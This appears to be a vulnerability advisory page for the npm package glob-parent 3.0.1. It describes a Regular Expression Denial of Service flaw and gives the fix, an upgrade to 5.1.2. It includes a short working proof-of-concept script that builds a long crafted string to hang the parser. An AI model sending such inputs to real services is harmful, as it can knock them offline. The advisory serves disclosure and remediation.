glob-parent@3.0.1 vulnerabilities

Extract the non-magic parent path from a glob string.

  • latest version

    6.0.2

  • latest non vulnerable version

  • first published

    10 years ago

  • latest version published

    3 years ago

  • licenses detected

  • Direct Vulnerabilities

    Known vulnerabilities in the glob-parent package. This does not include vulnerabilities belonging to this package’s dependencies.

    How to fix?

    Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

    Fix for free
    VulnerabilityVulnerable Version
    • M
    Regular Expression Denial of Service (ReDoS)

    glob-parent is a package that helps extracting the non-magic parent path from a glob string.

    Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). The enclosure regex used to check for strings ending in enclosure containing path separator.

    PoC by Yeting Li

    var globParent = require("glob-parent")
    function build_attack(n) {
    var ret = "{"
    for (var i = 0; i < n; i++) {
    ret += "/"
    }
    
    return ret;
    }
    
    globParent(build_attack(5000));
    

    How to fix Regular Expression Denial of Service (ReDoS)?

    Upgrade glob-parent to version 5.1.2 or higher.

    >=3.0.1 <5.1.2